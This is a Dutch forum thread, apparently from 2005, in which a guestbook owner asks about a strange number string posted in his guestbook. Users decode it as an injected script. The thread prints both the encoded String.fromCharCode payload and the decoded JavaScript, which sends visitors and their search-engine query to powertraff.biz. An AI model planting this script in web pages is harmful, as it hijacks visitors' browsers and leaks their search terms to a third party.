[xp] Rare getallenreeks in gastenboek

[Serbia]

Ik heb al 3 keer een berichtje uit mijn gastenboek gehaald wat ik niet vertrouw.
Het gaat om het navolgende bericht.

Nice site! document.write(String.fromCharCode(60,115,99,114,105,112,116,62,118,97,114,32,114,61,100,111,99,117,109,101,110,116,46,114,101,102,101,114,114,101,114,59,118,97,114,32,113,59,105,102,40,40,113,61,114,46,105,110,100,101,120,79,102,40,32,34,63,113,61,34,41,41,33,61,45,49,124,124,40,113,61,114,46,105,110,100,101,120,79,102,40,34,38,113,61,34,41,41,33,61,45,49,41,119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,61,34,104,116,116,112,58,47,47,112,111,119,101,114,116,114,97,102,102,46,98,105,122,47,116,100,115,47,105,110,46,99,103,105,63,49,48,38,112,97,114,97,109,101,116,101,114,61,34,43,114,46,115,117,98,115,116,114,105,110,103,40,113,43,51,41,46,115,112,108,105,116,40,34,38,34,41,91,48,93,59,60,47,115,99,114,105,112,116,62,10));

Als ik zoek op google vind ik alleen site's waar deze string ook in het gastenboek staat en op Got krijg ik ook geen resultaten.

Wat is dit precies en wat willen (en kunnen) ze ermee??

Ps Sinds het in mijn gastenboek staat (stond) is het aantal bezoekers uit de United States
gestegen van ongeveer 30 naar 1659!!!! (dit zegt mijn Belstat teller)
Mijn Nedstat teller op dezelfde pagina heeft dit niet.

[Resistor]

Het zou een of andere internetpuzzeltocht kunnen zijn, als quizmaster zet je op willekeurige sites zo'n reeks neer, en de puzzelaars mogen uit gaan zoeken waar ze staan.

Doet mij ook een beetje denken aan HK topic waar staat 632A 3290 4640 4D6E 21DB 9CFF A2F2 F395 F748 voor

[lordsnow]

Even alle ASCII values omgezet naar characters, en dan rolt er dit uit:

code:

<script>var r=document.referrer;var q;if((q=r.indexOf( "?q="))!=-1||(q=r.indexOf("&q="))!=-1)window.location="http://powertraff.biz/tds/in.cgi?10&parameter="+r.substring(q+3).split("&")[0];</script>

[ Voor 17% gewijzigd door lordsnow op 13-02-2005 10:00 ]

[Serbia]

lordsnow schreef op zondag 13 februari 2005 @ 09:59:
Even alle ASCII values omgezet naar characters, en dan rolt er dit uit:

<script>var r=document.referrer;var q;if((q=r.indexOf( "?q="))!=-1||(q=r.indexOf("&q="))!=-1)window.location="http://powertraff.biz/tds/in.cgi?10&parameter="+r.substring(q+3).split("&")[0];</script>

En wat wil dit precies zeggen??
De getallen reeks is trouwens veel langer als dat hij het laat zien in mijn TS. (Waarom hij het niet geheel laat zien weet ik ook niet)

[ Voor 22% gewijzigd door Serbia op 13-02-2005 10:07 ]

[Serbia]

Resistor schreef op zondag 13 februari 2005 @ 09:57:

Doet mij ook een beetje denken aan HK topic waar staat 632A 3290 4640 4D6E 21DB 9CFF A2F2 F395 F748 voor

Deze link werkt bij mij niet.

[T_E_O]

Dat ze proberen je bezoekers door te sturen naar dat powertraff.biz, waarschijnlijk met als doel er geld mee te verdienen.

[lordsnow]

Het is iig spam.

Of ze proberen hier mensen te lokken naar bepaalde sites via http://powertraff.biz/tds/in.cgi?nummer
of ze proberen referrer hits (inkomsten?) te genereren.

Lijkt mij.
Maar m'n script-kennis is bijna 0,0 dus zeker weten doe ik 't niet... 't is gewoon een gok.

[Serbia]

T_E_O schreef op zondag 13 februari 2005 @ 10:05:
Dat ze proberen je bezoekers door te sturen naar dat powertraff.biz, waarschijnlijk met als doel er geld mee te verdienen.

Hoe werkt dat dan, het is geen aanklikbare link.

Het is het standaard gastenboek van @home, kijk maar eens op mijn pagina.

[ Voor 13% gewijzigd door Serbia op 13-02-2005 10:17 ]

[lordsnow]

Mischien werkt 't alleen op gastenboeken die niet veilig zijn (waar Java aan staat of zo, ik zeg maar wat) en waar dus de code WEL gegenereerd wordt?

[Verwijderd]

Het is een mislukte exploit van je gastenboek. Blijkbaar zijn er gastenboeken waar een bug inzit, zodat Javascript in gastenboekberichten wordt uitgevoerd. Als ik zo snel ff die Javascript bekijk zou je browser dan vanuit het gastenboek meteen naar een andere site toe gaan. Iets van powertraff.biz. Maar bij de jouwe is dat dus niet zo, dus maak je maar geen zorgen

-edit-
over dat aantal hits: komen er niet gewoon allemaal mensen via zoekmachines op jouw site die óók zoeken naar wat die rare code in hun gastenboek is?

[ Voor 19% gewijzigd door Verwijderd op 15-02-2005 20:46 ]

[Serbia]

Verwijderd schreef op dinsdag 15 februari 2005 @ 20:45:
Het is een mislukte exploit van je gastenboek. Blijkbaar zijn er gastenboeken waar een bug inzit, zodat Javascript in gastenboekberichten wordt uitgevoerd. Als ik zo snel ff die Javascript bekijk zou je browser dan vanuit het gastenboek meteen naar een andere site toe gaan. Iets van powertraff.biz. Maar bij de jouwe is dat dus niet zo, dus maak je maar geen zorgen

Toch blijf ik het maar vreemd vinden, en de pagina www.powertraff.biz kan ik zo ook niet bereiken.

-edit-
over dat aantal hits: komen er niet gewoon allemaal mensen via zoekmachines op jouw site die óók zoeken naar wat die rare code in hun gastenboek is?

Deze pagina wordt door google slecht of niet geindexeerd volgens mij.
Als deze al op hits uitkomt, krijg je alleen het bovenste frame te zien. (Geen teller)

Verder zit er op het gastenboek geen tellertje.
Het Belstat tellertje telt alleen bezoekers op, die op een pagina komen (nogmaals behalve het gastenboek) en ik zie (zelden) mensen uit Amerika daar op staan.
Het Netstat tellertje registreert hier helemaal niks van.

Conclusie: Raar gastenboek exploit en onverklaarbare Belstat teller oploper.